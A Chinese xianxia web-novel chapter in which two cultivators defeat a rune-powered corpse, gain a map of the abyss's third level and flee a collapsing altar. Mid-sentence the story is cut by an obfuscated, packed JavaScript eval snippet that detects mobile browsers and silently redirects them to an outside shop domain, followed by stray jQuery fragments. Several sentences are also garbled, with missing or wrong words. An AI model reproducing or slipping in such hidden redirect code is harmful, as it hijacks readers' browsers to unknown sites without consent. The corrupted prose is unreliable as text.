那具干尸从石棺里坐起来的动作很慢,慢得像每一寸骨头都在生锈。但它锁定沈墨渊的速度很快两团暗红火光在眼眶里一跳,就黏在了他身上。
沈墨渊没动。
不是不想动,是身体比脑子慢了一拍。那两团火光看他的时候,他感觉自己的血液都凉了半截,像被一条毒蛇盯住了喉咙。
“退!”云澈的从后面砸过来。
沈墨渊往后退了一步。
就这一步,干尸出手了。
它的身体好像没有关节一样,从石棺里弹出来,枯瘦的手臂直直刺向沈墨渊的咽喉。动作没有花哨,就是快,快到沈墨渊的【雷影步】都来不及完全避开他侧身一躲,手臂擦着他的脖子过去,在锁骨上方划出一道口子。
血溅出来。
沈墨渊摸了一下伤口的边缘,手指上全是血。伤口不深,但疼得钻心,像被烧红的铁条刮了一下。
干尸没有眼睛,但它攻击的角度太准了。
“它靠灵气波动锁定你。”云澈的带着一股咬牙切齿的劲儿,“别用灵气!”
沈墨渊立刻压下经脉里的灵气流动。
干尸的动作明显顿了半拍,像失去了目标,但那停顿只有短短一瞬。它的脑袋一转,又锁定了沈墨渊的方向,嘴里发出一声低沉的嘶吼,那不像从喉咙里出来的,像从胸腔里硬挤出来的,闷得像擂鼓。
“没用。”沈墨渊往后跳了一步,拉开距离,“它能闻到活人的气。”
干尸又动了。
这一次它的速度更快,枯瘦的手指握成爪,朝沈墨渊的心口掏过来。沈墨渊来不及多想,抬手硬挡——金纹炼体术运转到极致,手臂上浮现出轻声的金色纹路。
砰。
干尸的爪子和他的手臂撞在一起。
沈墨渊感觉自己的骨头都在响。那冲击力像一头奔跑的蛮牛撞在胸口上,把他整个人掀飞出去,后背重重砸在祭坛边缘的石柱上。
石柱裂开。
沈墨渊滑落在地,埋头看了一眼自己的右臂袖子被撕下一大块,露出来的皮肤上三道深可见骨的爪痕,血顺着往下滴。
“操。”他咬着牙骂了一声。
云澈已经冲上来了。
太虚剑诀的剑光凌厉如雪,一剑砍在干尸的肩膀上。剑气炸开,白色的光芒闪了一瞬,但沈墨渊看得清楚——那一剑只在干尸身上留下了一道浅浅的白痕,连皮都没破。
云澈的表情变了。
“这他妈什么东西?”他的嗓音里带着一股少见的震惊,“比外面那只毒蝎还硬。”
干尸没给云澈喘息的机会。
它回身就是一爪,朝云澈的面门抓去。云澈侧身避开,长剑横在身前挡住第二爪,剑身被震得嗡嗡响,他整个人不受控制地往后退了七八步才站稳。
沈墨渊撑着石柱站起来,右臂的血还在流,滴在黑色的石面上,很快凝成暗红色的斑块。他看着那具干尸,心跳快得像擂鼓,脑子里飞速转着。
筑基巅峰。
器灵的话极其虚弱,像从很远的地方传来,断断续续的。
“没别的办法……金纹炼体术……扛住它……找弱点。”
沈墨渊深吸了一口气,用左手撕下一块衣摆,缠住右臂的伤口,狠狠打了个死结。疼得他龇牙咧嘴,但手上的动作没停。
“云澈!”他喊了一声。
云澈正仗剑和干尸周旋,听到他的话,头也没回:“别废话,快说!”
“你正面牵制它,我从侧面打。”沈墨渊说,“它速度太快,我们得找到它的弱点。”
云澈没说话,只是手上的剑更快了。
他的剑气在空中织成一张网,一道接一道劈在干尸身上。干尸被剑气震得后退了一步,但那些白痕很快就消失了,干尸的肉身像有自我修复的能力,那些浅伤连血都没流出来。
沈墨渊看着干尸身上的那些白痕,脑子里猛地有一个念头冒出来。
不对。
如果只是肉身坚硬,为什么那些白痕会消失?不是伤口愈合,而是
他的眼神往下移,落在干尸的胸口。
那里有一道符文,暗红色的,像用血画上去的,嵌在干瘪的皮肉里。符文很小,只有两根手指并起来那么大,要不是刚才干尸侧身挡云澈那一剑时袍子被剑气掀开了一角,他根本看不见。
那符文每次干尸做出攻击动作时,就会闪烁一下。
不是呼吸式的亮,是一下亮起来,像心脏在跳。
沈墨渊的眼睛眯起来了。
“妈的,”他自言自语,“赌一把。”
他动了。
干尸的回应很快。他一动,干尸就察觉到了,脖子一扭,两团火光锁定他。但云澈的剑气在同一时刻劈在它的后背上,干尸的身体往前了一下,那个破绽只有一瞬
沈墨渊抓住了。
他脚下一下子一踏,整个人像一支箭一样冲过去,左手握拳,破厄诀的灵气在经脉里疯狂运转。金纹炼体术配合破厄拳,这是他目前能打出的最强一击。
拳风破空,发出呼啸声。
干尸的身体还没稳住,但它的攻击本能比意识快得多它抬手一爪,迎向沈墨渊的拳头。
可沈墨渊的拳头没打上去。
他半路变招,身体往下一矮,拳头贴着地面轰过去,目标不是干尸的身体,是它的脚。
干尸的下盘没有金纹防御。
这是沈墨渊在刚才被击飞时发现的。干尸落地时,他注意到它的处的皮肤是灰白色的,不像胸口那种暗紫色,也没有符文的光芒。
砰。
一拳结结实实砸在干尸的左上。
骨头碎裂的嗓音很清脆,像踩断了一根干柴。
干尸的身体往左一歪,单膝跪地。它的嘴里发出一声尖锐的嘶鸣,像金属刮在石头上,刺耳得让人牙酸。
沈墨渊一击得手,立刻后撤。
云澈的剑在同一时间到了一剑刺向干尸的眉心。
干尸抬手挡住,剑尖刺进它的手心,卡在骨头里。云澈拔不出剑,干脆松开手,身体往下一蹲,从腰间抽出一柄短剑,直刺干尸的咽喉。
但干尸的反应比他预想的快它那截被沈墨渊打碎脚的左脚忽然一蹬地面,身体以一种扭曲的姿态弹起来,另一只手朝云澈的胸口掏去。
云澈躲不开了。
沈墨渊的瞳孔一下子一缩。
他脚下一错,【雷影步】催动到极致,身体像一道残影一样扑过去,在干尸的手爪即将触到云澈胸口的一瞬,一拳砸在干尸的手臂上。
咔嚓。
那条手臂被打偏了方向,干尸的身体也跟着失衡,往侧面翻倒。
云澈趁这个机会滚出去,在地上翻了两圈,站起来时脸上全是灰。
“你他妈”他喘着粗气,“你刚才要是慢一步,老子胸口就多一个窟窿了。”
“你欠我一次。”沈墨渊说,语气很平静,但额头上全是汗。
干尸从地上爬起来,左脚腕碎裂让它的动作明显不协调了,速度也慢了一截。但它胸口的符文亮得更厉害了,暗红色的光像要渗出来。
沈墨渊的眼神紧紧锁着那道符文。
他看到了。
每次干尸攻击前,符文会先闪烁。闪烁的间隔很短,但确实能捕捉到——攻击前闪,攻击后灭。
“它的弱点在胸口。”沈墨渊说,话压得很低,“那道符文。”
云澈顺着他的视线看过去,眼睛稍稍一眯:“你确定?”
“它每次攻击前符文都会亮,就像蓄力。”沈墨渊说,“只要击碎符文,它应该就会停止行动。而且你看它左脚碎了以后,胸口的符文亮得更厉害了,说明它在用符文的力量维持战斗力。”
云澈沉默了两秒,然后点了点头。
“你吸引它注意,我来打。”他说,手腕一转,地上的长剑飞回他手中。
沈墨渊没说话,直接动了。
他冲向干尸,故意把灵气波动调到最大,像在空地上点了一堆火。干尸果然被吸引过来,嘶吼着朝他扑去。沈墨渊侧身避开第一爪,又埋头躲过第二爪,脚下踩着一个诡异的弧线,把干尸往石柱的方向引。
云澈在干尸背对他的那下子出手了。
剑光没入干尸的后背,从胸前穿出。
但云澈的目的不是伤它。
在剑尖穿过胸口的那下子,云澈的手腕一抖,剑尖划向那道符文他的意图很明显:刺穿符文。
干尸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576408|204904||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的反应极快。它感觉到胸口的威胁,身体一下子一转,剑尖擦着符文划过,只在符文边缘留下一道细小的裂痕。
但它回身的时候,胸口的符文位置完全暴露在沈墨渊面前。
机会来了。
沈墨渊动了。
他将全部灵气压进右拳金纹炼体术和破厄诀同时运转到极致。拳头上金色的纹路和暗红色的灵气交织在一起,像缠绕的龙蛇。
一拳。
正中胸口。
砸在符文正中心。
沈墨渊听到的,是符文碎裂的话。
不是清脆的咔嚓声,而是一声沉闷的碎裂声,像埋在深处的什么东西断开了。干尸的身体一僵,眼眶里那两团暗红色的火光像被风吹灭的蜡烛,闪烁了两下
灭了。
干尸的身体像一截被抽掉骨头的木偶,直挺挺地往后倒下去,砸在祭坛上,扬起一小片灰。
不动了。
沈墨渊单膝跪地,大口喘着气。右臂上的伤口又裂开了,血顺着手指滴在石面上。他感觉自己的灵气像被榨干了,经脉里空荡荡的,针扎一样疼。
云澈走过来,踢了踢干尸的腿。
没反应。
“真死了。”他说,语气里带着一股后怕的意味,“这东西要是活过来再来第二波,咱俩都得交代在这儿。”
沈墨渊没说话,吃力地站起来,走向石棺。
干尸被击倒后,石棺里忽然飞出一枚玉简,悬停在半空中。玉简通体碧绿,表面刻着几行极细的符文,在暗红色的天光下泛着柔和的光泽。
沈墨渊伸出手,那枚玉简像有意识一样,落入他的手心。
入手温凉。
他一看,玉简上刻着几个字:“葬灵渊第三层,天道封印之地。”
沈墨渊愣住了。
他想起了在石塔里看到的那些记忆碎片那个被天道金光轰杀的上古修士,那个坐在废墟上对他微笑的人影。
这就是答案?
他攥紧玉简,正要细看,玉简忽然一热,从他里弹起来。沈墨渊抓了个空,眼睁睁看着玉简在半空中碎裂
碎成无数细小的光点。
那些光点像有生命一样,汇成一道碧绿色的光流,朝他眉心扑过来。
沈墨渊想躲,但那道光太快了。
他只感觉眉心一凉,像被人用手指稍稍点了一下,然后那道光没入他的脑海,炸开画面、路线、标记、危险区域、陷阱位置,像一幅展开的地图,在他眼前铺开。
葬灵渊第三层。
完整路线图。
每一个岔路、每一处陷阱、每一道禁制的位置,全在他脑海里浮现。
还有那个终点。
天道封印之地。
沈墨渊睁开眼睛,心跳快得似乎要从胸腔里蹦出来。
“怎么了?”云澈的从旁边传来,带着警惕,“那玉简是什么?”
沈墨渊张了张嘴,正要说话
轰隆。
脚下的祭坛一震。
沈墨渊低下头,看见黑色的石面上,一条裂缝正在扩散。不是一条,是无数条,像蛛网一样从他脚底向四面八方蔓延出去。
咔嚓。咔嚓。咔嚓。
裂缝在扩大。
祭坛在往下塌。
“走!”云澈一把拉住他的衣领,往祭坛外拖。
沈墨渊被他拽着踉趔趄跄往外跑,脚步踩在裂缝边缘,碎石往下掉,落进底下深不见底的黑暗中,连落地的话都听不到。
“操.操.操”云澈一边跑一边骂。
身后,石棺跟着裂开的石块往下坠,干尸的尸体也跟着掉进了裂缝。整个第二层都在震动,像有什么东西在底下苏醒了一般。
远处,那些石林里的石柱也开始摇晃。
轰
祭坛彻底塌了。
沈墨渊只来得及回头看最后一眼
那道裂缝正在扩大,一直扩大到祭坛的边缘,然后追着他们来的方向蔓延过去。
他转过脑袋,咬紧牙关,跟着云澈拼命往前跑。
地图在脑海里闪烁着。
葬灵渊第三层的入口,就在祭坛崩塌的方向。
现在入口碎了,那他们该怎么进去?